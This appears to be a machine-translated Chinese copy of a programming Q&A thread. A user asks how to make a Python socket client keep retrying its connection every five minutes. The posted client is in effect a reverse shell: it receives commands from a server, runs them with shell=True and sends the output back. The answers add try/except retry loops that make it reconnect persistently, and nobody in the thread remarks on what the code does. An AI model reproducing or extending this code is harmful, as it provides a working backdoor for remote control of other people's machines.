2016-12-27 28 views
-1

我想連接到服務器,但如果服務器是斷開我的代碼有錯誤並退出,我想我的代碼嘗試在服務器斷開每5分鐘 我的代碼連接:怎麼可以嘗試連接時,我的服務器是diconnect在python

import socket 
import subprocess 

HOST = '127.0.0.1' 
PORT = 534 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 
while 1: 
    data = s.recv(1024) 
    proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 
    stdout_value = proc.stdout.read() + proc.stderr.read() 
    s.send(stdout_value) 

s.close() 
+0

使用try /除? – anon

回答

0

爲什麼你不能做一些像嘗試/除外的事情。在需要的地方保持這種邏輯。無論是在連接期間還是在數據傳輸/接收過程中。

while True: 
    try: 
     s.connect((HOST, PORT)) 
     break 
    except: 
     time.sleep(5 * 60) 
0

做一個try語句:

import time 
def connectTry(): 
    global host 
    global port 
    global s 
    try: 
     s.connect((HOST, PORT)) 
    except: 
     time.sleep(300) 
     connectTry() 
+0

運行後我得到這個錯誤 – eisa

+0

你得到了哪個錯誤? – Octo

+0

文件「c:\ a.py」,第30行,在 data = s.recv(1024) socket.error:[Errno 10057]請求發送或接收數據被拒絕bec ause套接字不是連接並沒有提供地址 – eisa

相關問題